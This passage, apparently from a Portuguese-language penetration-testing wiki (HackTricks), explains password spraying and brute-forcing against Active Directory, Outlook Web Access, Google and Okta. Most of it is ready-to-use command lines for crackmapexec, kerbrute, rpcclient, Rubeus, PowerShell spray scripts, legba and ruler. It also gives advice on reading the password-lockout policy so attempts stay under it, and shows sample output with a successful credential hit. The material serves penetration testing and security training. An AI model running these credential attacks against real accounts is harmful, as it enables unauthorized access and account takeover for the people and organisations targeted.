{% endhint %} ## **Password Spraying** Uma vez que você tenha encontrado vários **nomes de usuário válidos**, pode tentar as **senhas mais comuns** (lembre-se da política de senhas do ambiente) com cada um dos usuários descobertos.\ Por **padrão**, o **comprimento mínimo** da **senha** é **7**. Listas de nomes de usuário comuns também podem ser úteis: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) Observe que você **pode bloquear algumas contas se tentar várias senhas erradas** (por padrão, mais de 10). ### Obter política de senhas Se você tiver algumas credenciais de usuário ou um shell como um usuário de domínio, pode **obter a política de senhas com**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol enum4linux -u 'username' -p 'password' -P rpcclient -U "" -N 10.10.10.10; rpcclient $>querydominfo ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength # From Windows net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` ### Exploração a partir do Linux (ou todos) * Usando **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` * Usando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` * [**spray**](https://github.com/Greenwolf/Spray) _**(você pode indicar o número de tentativas para evitar bloqueios):**_ ```bash spray.sh -smb ``` * Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NÃO RECOMENDADO, ÀS VEZES NÃO FUNCIONA ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` * Com o módulo `scanner/smb/smb_login` do **Metasploit**: ![](<../../.gitbook/assets/image (745).png>) * Usando **rpcclient**: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` #### Do Windows * Com a versão do [Rubeus](https://github.com/Zer1t0/Rubeus) com o módulo de brute: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` * Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários do domínio por padrão e obterá a política de senhas do domínio e limitará as tentativas de acordo com isso): ```powershell Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` * Com [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) ``` Invoke-SprayEmptyPassword ``` ## Força Bruta {% code overflow="wrap" %} ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` {% endcode %} ## Outlook Web Access Existem várias ferramentas para p**assword spraying outlook**. * Com [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/) * com [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/) * Com [Ruler](https://github.com/sensepost/ruler) (confiável!) * Com [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) * Com [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e uma senha / uma pequena lista de senhas para spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 [x] Failed: cube0x0:Summer2020 [x] Failed: a.admin:Summer2020 [x] Failed: c.cube:Summer2020 [+] Success: s.svensson:Summer2020 ``` ## Google * [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py) ## Okta * [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py) * [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) * [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) ## Referências * [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) * [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) * [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) * [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
